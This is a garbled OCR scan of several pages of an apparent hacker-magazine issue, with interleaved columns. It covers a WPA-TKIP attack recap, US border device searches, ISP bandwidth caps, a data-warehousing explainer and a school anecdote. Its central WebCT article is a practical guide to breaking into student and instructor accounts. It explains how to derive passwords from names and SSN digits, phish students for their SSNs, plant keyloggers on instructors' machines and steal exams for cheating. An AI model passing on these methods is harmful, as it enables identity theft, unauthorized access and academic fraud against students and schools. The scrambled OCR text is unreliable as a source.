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I t's that t ime of year aga i n  - eggnog, bad frame counter. Get i t  wrong once, the c l ient 
Chr i stmas ana logies, and strugg l i ng to fi n i sh  te l l s  t he  AP someone i s  mess ing  w i th  i t .  Get 
an a rt i c le  th rough the post-tu rkey torpor. it wrong tw ice i n  a m i nute and the whole 
Employ ing  the method used by s i tcoms for network sh uts i tse l f  down and when it comes 
decades, I br ing you the f lashback and c l i ps back it has d i fferent keys. 
epi sode, or "Stuff from the last yea r you Th is  worked fa i r l y  wel l u nt i l the standard 
probab ly  shou ld  have pa id  more attent ion to for QoS came out. S i nce QoS changes the 
when i t  happened." order of packets, d i fferent QoS queues must 

"Hey Billy, do you remember that  time be a l lowed to get out of order. Rev iv ing the 
Nancy fell down the stairs, and her T KIP older ChopChop attack aga i nst WEP and 
was cracked?"  "Yeah, that  reminds me of rep l ay i ng a packet in another QoS queue, a n  
when . . .  " attacker can guess at the last byte of p l a i ntext 

I f  you m i ssed th i s  one, you r head must - and be notified by the MIC cou ntermea­
be pretty deep in the sand, but i t's certa i n l y  sures that a va l i d  RC4 packet with an  i nva l i d  
a harb i nger o f  futu re attacks aga i nst WPA- pay load was rece ived . So long as the attacker 
TK I P. In ea r ly  November, the fi rst s ign if icant doesn 't guess r ight tw ice in 60 seconds, the 
brea k aga i nst WPA networks was annou nced whole packet can be derived . Ever better, the 
by Beck and Tews, a l lowing the recovery of secret data used for the MIC can be derived, 
the p l a i ntext data at a rate of one byte per a l lowing spamm i ng of packets i nto the 
m i nute. Th i s  m ight not sound s ign i ficant - it network with no time restr ict ions, open i ng 
i s .  A successfu l decode gives the attacker the the door for more attacks. 
ab i l ity to generate va l i d  packets, open ing  the I ron ica l ly, now that the PCI cred it card 
TK I P protect ion to new attacks wh ich a re not standard has been updated to ban use of 
l i m i ted i n  speed . WEP on payment networks, it wi l l  have to be 

WPA-TK I P was designed as a stopgap updated aga i n  to ban use of TK IP. 
measure wh ich cou ld  be used with o lder TK I P i sn 't dead, but i t's defi n i te ly  morta l ly 
hardware u nt i l everyth i ng  was ab le  to wou nded . We're cu rrent ly i n  the grace 
support WPA-CCMP. Thus ly, i t  employs the period before it's complete ly  broken .  Sh i ft 
known flawed RC4 encrypt ion .  Those of you to WPA-CCMP before the next major attack 
who have done your  homework know this as comes a long. 
the same encryption used in WEP. Oh dear. " Yeah, that  sure was crazy tha t  time, 

To make th i s  less of a trag ic  rep l ay of almost reminds me of when the US govern­
the fa i l i ngs of WEP, i n stead of us ing  a fixed ment waived constitutional rights if you were 
passph rase, the keystream is bu i l t  with a crossing a border, or even 'near '  one ! "  
tempora l key (that i s, t ime  l i m i ted) wh i ch  i s  Mass med ia  ( and  even parts o f  the 
generated after the network i s  con nect ing government) th i s  yea r fi n a l l y  began not ic ing  
us ing  the master key, derived from either the what we've known about for a wh i le :  When 
WPA passphrase on a PSK network or the cross ing  the U .S .  border, you no longer have 
exchange with the rad i us server on an EAP the same constitut iona l  r ights you norma l ly 
network. Rep l ay and i nject ion of the same wou ld, most noticeab ly  the r ight aga i nst 
packet over and  over aga i n  is prevented with un reasonab le search and se izure. Last 
a frame counter; Once a packet i s  seen, the wi nter, the EFF fi led suit aga i nst the govern­
next packet must have a number h igher or i t  ment to attempt to d i scern the l i m its of the 
wi l l  be ignored . An i ntegr i ty countermeasure search and  se izure po l ic ies. 
(MIC) makes sure you don't mess with the When c ross i ng a border, the U .S .  Customs 
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a n d  Border Protectio n  agency asserts that 
i nformat ion  stored in phones, l aptops, 
externa l  h a rd d r ives, M P3 p l ayers, and other 
devices i s  n o  d i fferent from p r i n ted i nforma­
t ion,  and therefore su bject to search and 
se i z u re .  

In  August, i t  was revea led that  the po l i ­
c ies a l l ow t h e  agency t o  take a l a ptop to 
an extern a l  fac i l i ty, keep i t  for an i ndefi n i te 
per iod of t i me, attem pt to defeat  encrypti on  
a n d  to  s h a re any  i nformat i on  taken  w i th other 
age n c i es wi thout  restr ict i o n .  These po l i c i es 
a p p l y  to a nyth i ng carr ied over the  border 
w h i c h  can store i nformat ion ,  i n c l ud i ng h a rd 
d r ives, f lash d r ives, books, p r i n ted m ater i a l ,  
etc . 

I n  October, the AC L U  brought  atten­
t i o n  to  the offi c i a l  govern i ng reg u l at ions  of 
the Customs a n d  Border Protect i o n  agency, 
w h i c h  defi nes the ra n ge of C B P  act iv i t ies  as  
w i th i n  1 00 m i les  of a border (or  coast l i ne),  
in theory gra n t i n g  C B P  warra nt less search 
and se i z u re a b i l i t ies  in the majo r ity of m etro­
po l i ta n  a reas.  Do you l ive wi th i n  1 00 m i les  
of a border or  coast?  Accord i n g  to the u . s .  
census, 60 percent  o f  u s  d o .  

" . . .  A n d  remember when we used to have 
as much Internet as we could carry? "  

W h e n  t h e  FCC issued a j udgment a ga i n st 
Comcast for i nj ecti n g  forged RST packets 
i nto users'  con nect ions  to control  traff ic by 
a rt i fi c i a l l y  term i nat i ng  it, they a l so opened 
the door for m etered bandwidth  as  a s o l u ­
t ion ,  suggest i n g  i t  as  a v i a b l e  a l ternat ive t o  
aggress ive packet s h a p i ng .  

A l ready sta rted by severa l I S Ps before 
the FCC ru l i ng, m etered bandwidth caps 
a re cu rrent ly  be i n g  tested either n etwork­
wide o r  in "se l ect a reas" by Cox, Comcast, 
Ti me Wa rner, Front ier, a n d  AT&T, w i th  caps 
ra n g i n g  from 2 5 0G B/month down to 5 G B/ 
month for some D S L  serv i ces.  

U sers of ce l l u l a r  data p l a n s  a re u sed to 
" u n l i m ited" n ot m ea n i ng " u n l i m ited" at a l l ,  
b u t  w i d e-sca l e  bandwi dth caps o n  l a n d- l i ne 
con nect ions  a re a new exper ience for most 
U . S .  based users .  Depen d i n g  on the compa ny, 
u sers who exceed the cap a re e i ther  d i scon­
n ected o r  cha rged overage fees .  

With  v i deo renta l m o d e l s  ( rhymes 
with  G et B r i cks) mov i n g  towa rds h i gh-def 
strea m i ng a n d  even Sony offe r i n g  down­
l oadab l e  movie content on  gam e  system s, 
l eg i t i m ate bandwidth u se w i l l  o n l y  be o n  
the r i se, a n d  st if l i ng n e w  tec h n o l ogy by 
a rt i f ic i a l l y  capp i n g  bandwi dth is f ight i n g  
aga i nst p rogress a n d  consu mers .  Prev i o u s l y, 
I S Ps h ave a rgued that  o n l y  u sers b rea k i ng the  
terms of serv i c e  by shar ing  i l l ega l fi les  cou l d  
overr u n  bandwidth  cap, a n  argument  w h i c h  
i s  rap i d l y  l os i n g  weight .  

U nfort u n ate l y, there does n 't seem to be 
much that  can  be done in the  U . s .  at  the 
moment to f ight th is  trend,  other than  switch 
prov i ders to a company which does n 't try 
to cap .  With government-granted monopo­
l ies for cab le  servi ce, t h i s  can be d i ffi c u l t  i n  
many  a reas .  

"Wow, we sure have had a lot of good 
times this year! Has everyone got their 
digital con verter boxes ready for the analog 
cut-off? " 

"Shut up, Billy. " 

A D CAST FO R A L L  TH E W O RLD 

Wed n es d a ys,  1 9 0 0 - 2 0 0 0  ET ' 
W BAI 9 9 . 5  FM , N e w  Yo rk C i ty\ 

h ttp : //www . 2 6 0 0 . com/offt h e h o o k  dver 

I I  u s  d u ri n g  the show at + 1  2 1 2  209 290 0 .  

. m a i l  oth @ 26 0 0 . co m with yo u r co m m e nts . J· 

--------------Page 53 



"FhF 
the mai n a im number � « 7 · �t j o i n s  for any given query, at the expense Every s i ng le  day of our' l i ves, m ost of us  
of  a l l ow i n g  d u p l i cate data in  certa i n  generate data . These days un less you l ive o n  
co l u m n s  o f  the d i mens ion tab l es (known a ra nch in the m i d d l e  of nowhere and dea l 
as de-norma l i zation ) .  If you ' re used to o n l y  i n  cash i t ' s  u navoidab le .  Most of th i s  
deve lop ing  data d r iven app l i cat ions, data ends u p  be i ng perso na l ly i dent ifi ab le, 
th i s  is cou nter- i ntu it ive because you 

such as an I S P  logg i n g  I nternet activity, wou l d  norma l ly try to red uce d u p l icat ion 
making an  appoi ntment at the docto r ' s, a n d  m a ke each transaction  as effic ient 
p u rchas i ng goods on cred it  cards, mak ing  as poss i b l e  i n  storage terms.  For data 
a phone ca l l , etc . For the past 1 0  years warehous i n g  you do the oppos ite .  The j o i n s  
I ' ve been work ing  as a consu ltant i n  the u sed are genera l ly " i n ner" j o i ns,  sho u l d  be 
a rea known as " B us i ness I nte l l igence" ( i t ' s  made on i nteger key f iel ds, a n d  shou l d  
marketi ng-speak for report i ng) .  I thought not use any 10 co l u m ns that rel ate to the 
I ' d  share some of the l i ngo and tech n iq ues bus i ness (e.g.  Customer I D ) . l nstead you 
of the trade because, whether you l i ke i t  b u i l d  a u n ique key in each tab le  known 
or n ot, there are h u n d reds of thousands of as a su rrogate key. Th i s  method i s  known 
peop le  out there a n a lyz ing  you r  data and as d i mens iona l  model i ng a n d  i s  used as a 
at least th i s  art i c l e  m ight g ive you some sta ndard in the data warehous ing  and B I  
i n s ight a s  to how a n d  why. i n d u stry. The process is a l so known as the 

My a i m  for th i s  art ic l e  i s  to exp l a i n  the K i m ba l l  method, after R a l p h  K i m ba l l  who 
process to someone with no tec h n i c a l  was one o f  t h e  ea r ly  l eaders i n t h e  fie l d .  
backgro u n d  b u t  even sti l l  I ' l l  l eave out a l l  Next you have t o  gather a l l  o f  t h e  data 
of the project-management aspects, such you need . More than l i ke l y  th i s  wi l l  come 
as  req u i rements gather i ng, workshops, etc . from i nterna l  databases that the company 
I ' l l  foc u s  on the tech n o logy re l ated a reas. a l ready has (e.g.  f inance systems, H R 
I a l so want to po i nt out that most people systems, reta i l  pOi nt-of-sa l e  databases) 
a n a l y z i n g  you r  persona l data a re not ev i l .  though someti mes i t  may come from 

The fi rst step i n  any B u s i ness I nte l l i gence outs ide (usua l l y  from supp l i ers) and tends  
project ( I ' l l  ca l l  it  B I  from now on)  i s  to to be de l ivered i n  "flat fi l es, " essent ia l l y  j ust 
des ign the Data Warehouse.  Th i s  is a l a rge com ma-sepa rated or tab-sepa rated 
l a rge database that stores a l l  of you r  data . text fi l es .  O n ce you 've estab l ished what 
I t  i s  not j u st a d u m p i n g  ground ;  it  must you r  sou rces are, you need to get them i nto 
be desi gned correctl y  to fit the bus i ness the database and, regard l ess of the sou rce 
a n d  be effic ient for report i ng.  The most ( i nterna l  or  extern a l ) , i t ' s  very u n l i ke l y  that 
common design for a data warehouse is the data you sta rt w ith w i l l  resemble the 
ca l l ed a Star Schema w h i c h  has a centra l Star Schema you des i gned . Th i s  is where 
"fact tab le" conta i n i ng the b u s i n ess "facts" you need a n  ETl too l .  ETl sta nds for 
(e .g .  u n its so ld,  reven ue, page v iews, Extract, Tra n sformat ion ,  a n d  load i ng. These 
tra nsact ions,  ca l l s  made) and severa l too l s  a re pu rpose l y  bu i l t for i m port ing  data 
" d i mens ions"  conta i n i ng the descr i ptive i nto data warehouses, though they can be 
i nformat ion (e.g.  dates, fi n a n c i a l  q u arter, used for other tasks. They a l l ow you take 
customer na mes, products, geograph ica l  the  source data, extract the  e lements you 
l ocati o n ) .  need for t h e  fact tab l e, m a i nta i n  a n y  data 
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i n  the d i mens ion tab l es, create or look- u p  
a l l  t h e  keys y o u  need t o  j o i n  the facts t o  the 
d i mens ions, and then load the res u l t  i nto 
the data warehouse.  

Once you ' ve sorted out you r  data you 
need a B I  softwa re su ite. The m a i n  pu rpose 
of these too l s  is to a l l ow bus i ness users 
(non-tech n i ca l  peop le l i ke management, 
sa les,  and marketi ng) to perform complex 
ana lys i s  without hav i n g  to u ndersta nd 
what ' s  go i n g  on at the database leve l .  
Usua l ly the person (or team) that des igns 
the warehouse and b u i lds  the Ell wou l d  
be respons ib le  for mode l i ng t h e  data i n  the 
BI too l .  Th i s  i s  ach i eved by rep l icat i n g  the 
Star Schema, choos i n g  which f ie lds shou l d  
b e  v i s i b l e  t o  t h e  u sers, and prov i d i n g  
appropriate names and descr i pt ions .  Th i s  
a rea o f  t h e  B I  too l i s  often referred t o  as the 
"Semant ic layer" or  "Metadata layer" as i t  
i s  where you defi ne what the data mea ns  
to  the users (metadata i s  j ust a term for 
"data about data" ) .  If a l l  of the above tasks 
(des ign, ETl, metadata defi n i t ion)  have 
been performed s uccessfu l ly, then a l l  the 
users have to do i s  d rag and drop. 

Tech n o l ogy N etwork at: h t tp : //www . 

"o r a c l e . c o m / t e c h n o l o g y / i n d c x . h t m l 

where you can down load fu l l  u n restr i cted 
vers ions of most of the i r  products, but 
check the l i cense cond it ions to make s u re 
they apply to you .  

The b ig  q uest ions  most peop l e  ask 
(espec i a l l y  2 6 00 readers, I suspect) are 
why compa n i es wa nt to a n a l yze thei r 
persona l  data, what a re they u s i n g  
i t  for, and w h a t  do they do w i t h  that 
i nformat ion?  The fi rst th i ng I ' d l i ke to poi nt 
out i s  that desp i te the fact that the data i s  
persona l ly ident ifiab le, i n  most cases the 
a n a lys i s  i s n ' t .  Most of the t ime peop l e  
a ren ' t  ana l yz i n g  you r  activ i ty spec if ica l ly 
- you a re j u st a stat ist ic .  Compa n ies wa nt 
to segment the i r  customers i nto groups 
to determ i ne what peopl e  a re do i n g  (e.g.  
"people buy ing product x and y often buy 
product z")  or  j ust to test u n iq ueness (e.g.  
"shoppers buy ing  d r i n k  x buy a n  average 
3 . 5  cans per week but shoppers buy ing 
b rand y buy a n  average of 5 . 7  cans" ) .  Th i s  
sort of i nformation he lps them to p l a n  the i r  
d i str ibut ion ( s o  you don ' t  t u r n  u p  a t  you r  
loca l Kwi k-e-Mart and fi nd they ' ve not got 
any stock of you r  favor ite comest ib le) or  
the l ayout of the stores . People  often buy 
ham sandwiches and ch i ps together so 
why don ' t  we put them together and near 
the front of the store? So these th i ngs do 
k i n d  of h e l p  u s  out and at no po i n t  a re we 
be ing persona l ly identif ied. 

Now I can j ust about hea r  the d i sta nt 
sou nd of keyboards typ i n g  out hate ma i l 
because I ' m  advocat i ng data m i n i ng. 
Remember a l l  I ' m  say i n g  is that these 
acts a re n ' t  a l ways ev i l  and i t ' s  not a l ways 
persona l  as most qua l ity ana lys i s  i s  
performed i n  aggregate across m i l l ions  
of  cases . I t ' s  hard these days not  to  be 
captu red by " the  system" but you can do 
you r  best by pay i ng i n  cash ,  us i ng loca l 
fa rmers ' markets i nstead of nationa l  c h a i n s  
(th i s  a l so he lps you r  loca l com m u n i ty), 
u s i n g  u n regi stered pre-pay ce l l  phones, 
payphones, etc . One way or another, 
though, you ' re bound to end up captu red 
i n  someone ' s  data wa rehouse as someone ' s  
stat i st i c .  

You a re a n u mber. You a re not a free 
m a n .  

There a re m a n y  vendors sel l i ng softwa re 
for B I  and Ell, and over the last few years 
there has been a period of conso l idat ion 
where the l a rger compa n ies have been 
buy ing up the sma l ler  ones. Most of the 
l a rge database vendors a re bu i l d i ng s u ites 
of software i n c l u d i n g  a l l  of the necessary 
components for B I .  The major p layers i n  
B I  a re B u s i ness Objects (owned by SAP), 
Cog nos (owned by I BM), Performance 
Po i nt (owned by M i crosoft), and Orac le  
B I  Enterpr ise Ed i t i o n .  The  major p l ayers 
in the Ell wor l d  a re I nformatica, Orac le  
Data I ntegrator, B u s i ness Objects Data 
I n tegrator. and SQl Server I n tegrat ion 
Serv ices (Microsoft) . From persona l  
exper ience, i t  i s  most  common to run these 
packages on a W i ndows server p l atform.  
However, many vendors offer some or  a l l  
o f  the i r  s u i te for U n ix a n d  l i n u x  p latforms.  
I have i m p l emented Orac le  B I  on l i n u x  
myse lf. There a re a handfu l o f  open 
sou rce BI software su i tes.  The ones most 
known to me a re Jaspersoft and Pentaho 
but they don ' t  h ave a great amount  of 
recogn it ion i n  the i ndustry and a re not 
common l y  u sed by major corporations  
or consu l tanc ies .  If  a nyone wa nts to have 
a p l ay with an enterpr ise l eve l so lut ion 
i t ' s  wel l worth regi ster ing on the Orac l e  
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by Mi lton Bradley 

ill 

X P  data m i n i ng serv i ces account .  S i nce we 
don ' t  a l l  h ave th at, le t ' s  get c reative. Most 

Sto len  from W i k i ped i a :  pr ivate i nvestigators, l aw offi ces, a n d  h u m a n  
" WebCT (Course Tools), now owned by resou rces departments h ave acco u n ts for these 

Blackboard, is a n  online proprietary virtual  serv i ces.  They a re often used to l ocate peop l e, 

learning en vironment sys tem tha t is sold to a n d  the work is often done by i nterns a n d  l ow 

colleges and other institutions and used in l evel e m p l oyees . S i nce these serv i ces are not 

many campuses for e-Iearn ing. To their WebCT l i m i ted to l aw enforcement, a nyone c a n  h ave 

courses, instructors can a dd s uch tools as one .  Let ' s  assu m e  that a fr i e n d  of m i ne is a n  

discussion boards, mail systems a n d  live chat, i ntern at a loca l  l aw off ice a n d  she  fi nds  peo p l e  

a long with con tent including documents and with these serv i ces for s u bpoe n a  del ivery. Let ' s  

web pages. " a l so ass u m e  t h at I asked her  to j ust look u p  

M y  loca l  Com m u n ity Col l ege ut i l i zes a few of the n a m es o n  m y  l i st .  The res u l t  w i l l  

WebCT for a l l  o f  its on l i ne c l asses. Th i s  a rt i c l e  be a s m a l l  b o x  o f  " h its"  o n  the n a m e .  T h e  " h it"  

d i sc u sses some of the i ssues  I h ave observed . w i l l  h ave s i m p l e  data s u c h  as n a me, phone 

As usua l ,  I take  n o  respo n s i b i l i ty for what  you  n u m ber, address, a n d  you k n ow it . . .  the l ast 
fou r  of the ssN for ver i ficat i o n !  do wi th  t h i s  i nfo a n d  d o  n ot s uggest a nyth i n g  

i l l ega l or  aga i nst school  po l i cy. B y  t h e  way, A few years ago, I s i m p l y  ca l l ed Acc u r i nt 
a n d  asked for the sa les  d i v i s i o n .  These do these n o n -accou ntab i l i ty statements rea l l y  
e m p l oyees work o n  com m i ss i o n ,  a n d  w i l l  

matter a nyway ? 
Most WebCT systems by defa u l t  use a s i m p l e  

do a nyth i ng for a s a l e .  I ident i fied myself  as  
a n  ass i sta nt  to some h i gh powered attorneys 

l og i n process based o n  genera l ident i fiers of 
and advi sed I was l oo k i n g  for a so lu t ion  to a 

the stu dent .  If you r  n a m e  is B i l l y  B adass,  a n d  
prob l e m  track i n g  peop le  dow n .  I l i sten ed to 

you r  b i rth  d ate i s  0 1 /0 1 11 9 7 5 ,  a n d  the l ast fou r  h e r  sp ie l  a n d  req u est a th ree day tr i a l  t o  get a 
of you r  s s N  is 0000, t h i s  is you r  u ser n a m e  fee l f o r  the s i te .  Th i s  w a s  g i ve n  t o  me wi th  zero 
and logi n :  hes i tat i o n .  A l l  I rea l l y  n eed i s  about twenty 

u s e r : b i l lybada s s 0 1 0 l  m i n utes once a semester. I t  s h o u l d  be n oted 
pa s s : bada O 0 0 0 that  these data m i n i ng serv i ces a re lock i n g  
B a s i ca l l y, the  u s e r  n a m e  i s  you r  f i rst a n d  d o w n  m a n y  featu res i n c l u d i n g  the d i s p l ay o f  

l ast n a m e  a n d  then the m o n t h  a n d  d a y  o f  b i rth ,  s s N s .  Th i s  a rt i c l e  i s  not  about  stea l i n g  s s N s .  I 
a n d  the password is the f i rst fou r  l etters of you r  a m  s u re there a re p l enty o f  ways o f  d o i n g  that .  
l a st name p l u s  the l ast fou r  of you r  s s N .  Th i s  I f  t h i s  does n ' t  w o r k  for you,  use s o m e  good 
i s  my fi rst prob l e m  with t h i s  syste m .  I f  I k n ow o l d  soc i a l  eng i n eer i n g .  At my co l lege, if you 
this generic i n fo about a student, I h ave fu l l  take the user n a me, a n d  add " @ -------- .ed u " (the 
access  to their account.  To m a ke t h i s  eas ier, ---- ' s  a re the doma i n  for the school ) ,  t h i s  serves 
WebCT i nforms me of a l l  the user n a mes of as  an externa l  ema i l  accou nt, a n d  the m a i l  
a l l  students i n  each o f  my c l asses.  B y  go i n g  w i l l  d u m p  i nto the i r WebCT account .  Create 
to the e m a i l  sect ion  of a c l ass, then c reati n g  a n  a c c o u n t  at m a i l .com ca l l ed webctad m i n @  
a n ew e ma i l . then selecti n g the . .  t o  . .  b u tton i n m a i l . co m. o r  someth i n g  l i ke th at, a n d  send 
order to add rec i p ients, you c a n  see a l i st of the  a m ass p h i s h i ng message to  a l l  the students 
c o m p l ete u ser  name of each student ( n ot j u st in the c l ass .  Th i s  message cou l d  be from the 
the student ' s  name) .  Th i s  w i l l  be h a n dy l ater. I t  E n ro l l ment Center ver ify i n g  the student's 

I 
may be h e l pfu l to export t h i s  l i st i nto Excel  a n d  part i c i pat ion i n  the cou rse. Th i s  m ay req uest a 

, l ater add passwords .  response i n c l u d i n g  a veri f icat ion of name and I N ow we h ave the user  n a m e  of every l a st fou r  of the s s N  ( to  protect the i r  i dent i ty of  
, student  in  a l l  of o u r  c l asses. The password cou rse) . The student  w i l l  see th i s, see the e ma i l  �' for each student  i s  the fi rst fou r  l etters o f  the i r  address, a n d  the n a m e  you attached (WebCT 

l ast n a m e  a n d  then the l ast fou r  d i g i ts  of the i r Ad m i n ) ,  a n d  h a pp i l y  rep l y  i n  order to get t h at 
ss N .  Wel l ,  we a l ready k n ow t h e i r  l ast n a me, Pe l l  G ra n t  $$$. Even i f  one th i rd rep l i es, you 
so we a re good there.  N ow we need the l ast a re in great shape.  
fou r  of each ssN.  The eas iest way wou l d  be So now, we h ave a fu l l  user  n a m e  and 
wi th  a compro m i sed Acc u r i n t  or  Autotrac k  password for every student  in  o u r  o 'l l i ne c l ass .  
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What now? 
S i nce every i n structor w i l l  vary in  teach i n g  

methods, some c l a sses w i l l  b e  mor�' l u c rat ive 
than others.  I w i l l  l et you in o n  my exper iences.  
My fi rst c lass h a d  a n  i n structor who appeared 
very concerned with p revent ing  cheat i n g  wi th  
t h i s  med i u m .  H i s  q u i zzes were open for on ly  a 
s h o rt per iod of t i me, a n d  you cou l d  not receive 
you r grade o r  rev i s i t  the  q u i z, u n t i l  a l l  q u i zzes 
were subm i tted .  Th i s  c reated a p ro b l e m .  S i nce 
these q u i zzes were t i med, I wou l d  n ot have 
enough time to l oo k  u p  every a n swer in the 
book. I deci ded to snoop a rou n d  t h rough 
va r ious  student accou nts unt i l  I s t ruck g o l d .  I 
not iced that  a l most every student was active 
o n  the c l ass message boards except for th ree. 
These th ree a l so d i d  n ot respond to messages 
from the i n structor about e n ro l l ment .  I cou l d  
o n l y  assume that these students h a d  d ropped 
out .  One of the students appea red to h ave 
a b a n do n ed a l l  of h i s  c l a sses for the semester. 
Th i s  cou rse a l l owed you to work a heild o n l y  
a few q u i zzes at a t i me, s o  o n l y  th ree o f  the 
q u izzes were open for the ta k i ng .  You on ly  get 
o n e  s h ot a n d  ca n ' t  see grades u nt i l the c l ass i s  
caught  u p .  I j u m ped i n  a n d  opened e a c h  q u i z  
o n e  at a t i m e  u nder h i s  account .  As  soon as I 
opened it,  I d i d  a select a l l ,  then copy, then 
pasted i nto a n  HTML editor. Th i s  b rowser 
w i n dow does n ot h ave tool ba rs, so u sed ctr l -a ,  
ctr l-c,  and ctr l -v. I now h a d  every q u i z, but  n o  
a nswers. N o  b i g  dea l ,  I j ust Googled most o f  
them a n d  was ready f o r  the testi n g  o n  my o w n  
a c c o u n t .  T h e  e x a m s  were a d i fferent story. 
The exams were o n l y  ava i l a b l e  for a spec if ic  
week,  a n d  I l ater d i scovered that the  exams 
were made u p  of ra ndom quest ions  from the 
prev i o u s  tests .  I h a d  to wa i t  u nt i l the  exam was 
due .  Before I took the exam, I wou l d  log i nto 
six to e ight  d i fferent student accou nts a n d  grab 
a l l  of the i r graded q u i zzes (with the correct 
a nswers m arked ) .  I d u m ped them a l l  i nto o n e  
b i g  HTML fi l e  (fo r  e a s y  sea rc h i ng) ,  a n d  u sed i t  
d u r i n g  my exa m .  A l most every quest i o n  o n  t h e  
e x a m  w a s  o n  o n e  of the prev i o u s  tests t h a t  I 
extracted from t h e  user accounts .  

I t  i s  c o m m o n  for i n structors to receive a 
CD accom p a n y i n g  the i n structo r ' s  copy of the 
book w i t h  complete WebCT c l ass  data  ready 
to be d ropped i nto the syste m .  I n structors a re 
l azy, a n d  t h i s  i s  a n  easy turn key so l ut i o n  for 
them.  G u a ra n teed A+ for me. 

Another  o n l i n e  c l ass  I took was too easy. 
The i n structor a l l owed you to work at you r  
o w n  pace a n d  opened a l l  o f  t h e  q u i zzes a n d  
exams t o  b e  taken a t  a n y  t ime.  Once taken,  
the  system i m med i ate l y  graded the test a n d  
d i s p l ayed the resu l ts .  I q u i c k l y  fou n d  a student 
that  worked a h ead and rode h i s  coat ta i l s  a l l  
o f  the way th rough t h e  semester. A n other  A+.  

I h ave observed that  s u m mer o n l i ne c l a sses 
seem to be more open on test i n g  dates t h a n  
the fa l l  a n d  s p r i n g  semesters .  

The l og i n for the i n structors i s  not based 
o n  the same ru les .  The user name w i l l  be 
d i fferent; h owever, the fi rst n a m e  o n  the 
ema i l  l i st I d i sc u ssed ear l i e r  is the user n a m e  
for the i n structo r. T h e  password i s  w h atever 
the i n structor w i shes, a n d  proba b l y  not vpry 
secu re .  I wou l d  assume that go i n g  to the i r 
off ice d u r i n g  n o n  office h o u rs w i l l  p rpsent 
you with a sched u l e  o n  the door with thei r 
c u rrent c l a sses a n d  l ocati ons .  G o i n g  to these 
locat i o n s  d u r i n g  the eve n i n g  w i l l  usua l l y  
present you w i t h  a n  abando n ed c l a ssroom a n d  
il n  i n structo r ' s  computer ready for a keyl oggpr. 
Most i n structors w i l l  check thei r WebCT before, 
d u r i n g, or after a c l a ss, at I past for messagps. As 
you C il n  i magi ne, h av i n g  your i n structo r ' s  l og i n  
for a n  o n l i ne c l ass i s  pr icc' less .  You n o w  h ave 
a l l  the exams.  I h ave n ot i ced thilt  my school  
does not have a n y  sort of p rotect i o n  from 
m a l i c ious  softwa re o n  any milch i nes becil use 
they ut i l i ze Deep Freeze, w h i c h  re l oads the 
mach i ne every n i ght .  The problem wi th  th is  i s  
that the i n structor's tprm i n a l s  a re n ot re l oaded­
they can keep il l l  cha nges. 

One shou l d  not stop at co l l ect i n g  i n fo from 
c u rrent c l asses !  B rows i n g  t h rough students '  
ilccou nts w i l l  revea l many  other o n l i n e  
c l il sses, p roba b l y  c l a sses you need t o  take. I 
wou l d  v i s i t  these accou nts at the e n d  of the 
semester, l eech a l l  the datil (grilded q u i zzes, 
exams, and pa pers),  then sign u p  for that  c l ass 
the next semester. Make s u re to c h oose the 
same i n structor. C h a n ces a re that  when  you 
take you r  fi rst q u i z, i t  w i l l  be a rpp l icil  of the 
p rev i o u s  semeste r ' s  fi rst q u i z .  M a n y  i n structors 
put together  t h e i r  on l i ne c lass,  a n d  then do n ot 
touch it u nt i l the  book c h a n ges.  Th i s  a l lows the 
system to ru n t h i ngs w h i l e  the i n structor k i cks 
back and gets pa i d .  

I t  shou l d  go w i thout  say i n g  t h a t  WebCT 
l ogs I P  add resses, so be warned . I am s u re 
you k n ow ways around that .  Wi l l  t h i s  work o n  
every WebCT syste m ?  Absol ute l y  n o t .  Does 
my schoo l ' s  system possess bad p ract i ces a n d  
a n  ilbnorma l  l a c k  o f  secu r ity? Qu i te poss i b l y. 
Is m u c h  of t h i s  common sense? Tota l l y. I h ave 
n ot tr ied a n y  of t h i s  o n  a B l ackboard system, 
but  I bet much cou l d  be app l ipd .  I f  i t  does n ' t  
work for you, c h a n ge t h i ngs u p  a n d  u s e  your  
i ma g i n a t i o n .  

One l e s s o n  i n  t h i s  i s  that  o n l i ne Iparn i n g  
s h o u l d  b e  better p rotected by l ett i n g  the 
user c h oose the password . U s i n g  genera l  
ident i fiers a s  a sta ndard l og i n  a n d  password 
i s  r i d i c u l ous,  and i n structors s h o u l d  becomp 
morp a ggress ive with m a k i n g  the o n l i n e  u n its  
vary each semester. 
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ca l l i ng  it The Lab, as If we were dO ing ser ious 
work.  Severa l group projects were proposed, the I l i ke to read the art ic les in 2600, and I thought 
most popu l a r  of wh ich was The Great Network you m ight be i nterested to hear about the t ime I got 
Frag, though with Roper l u rk ing around,  there was 

hacked . At least, I th i n k  I got hacked . I am sti l l  not 
no way we were ever goi ng  to be p lay ing network 

ent i re ly  s u re. 
games. There j u st d idn 't seem to be any way to get 

It was my fi na l  year of h i gh school ,  and I had 
him to back off. 

j ust been made a trustee of the computer room. 
One day, after about th ree months of  that 

Being a trustee was a b i t  l i ke bei ng a prefect, 
sort of ted i u m, I was s i tt i ng in R . E .  c lass, star ing 

on ly  i n stead of herd i ng  fi rst years i n  and out of  off i nto space and qu iet ly wonder ing what  wou l d  
t h e  canteen,  y o u  got t o  exp l a i n  t o  them that they be the most amus ing  way to get fi red (the i dea 
were not a l l owed to do anyth i ng  i n terest ing  on the of decrypt ing  Roper's adm i n  password and then 
computers. S imp le .  sett i ng  i t  as the screen-saver on every mach ine  was 

"The computers are for cou rsework on ly," I 'd cu rrent ly w i nn i ng), when I heard the words "Mr. 
have to say i n  my offic i a l  voice, u sua l l y  to a bunch Roper has a computer program ." 
of j u n iors who were swapp ing  p ictu res of actresses, I looked up to see everyone ta l ki ng. I was goi ng  
or try i ng  to  i n sta l l  Doom (th i s  i s  go i ng  back some to ask someone what was goi ng  on,  when one of 
years) . " H u h ?" was the usua l  answer. Computers the lab regu la rs, James "Mu lder" Stanton, passed 
were supposed to be fu n,  r ight? Wrong. me a bunch of papers with the words Computer 

"The computers are for cou rsework on ly," I Dati ng at the top. Stanton had a cyn ica l  express ion 
wou l d  repeat s lowly, i n  a voice that sounded l i ke on h i s  face. He was our  res ident consp i racy theori st, 
HAL, the homic ida l  computer from the movie hence the n ickname. 200 1 .  Of cou rse, the j u n iors wou l d  compl a i n  " P lease take a form and pass them on," Mrs. 
about it, and I 'd patientl y agree that the ru les were B loom, our  teacher, sa id .  I l ooked at the form. 
too restr ictive. But  i n  the end, a l l  I cou ld  say was Roper has wr itten a computer dat ing  program?  I 
that if they wanted to change th i ngs, they shou ld  wondered. Without rea l l y  th i n k i ng about what  I 
go see Roper. was doi ng, I took two sheets, mak ing them look 

Roper was our IT teacher ( IT i s  l i ke computers, l i ke one, handed the rest to another of the lab rats, 
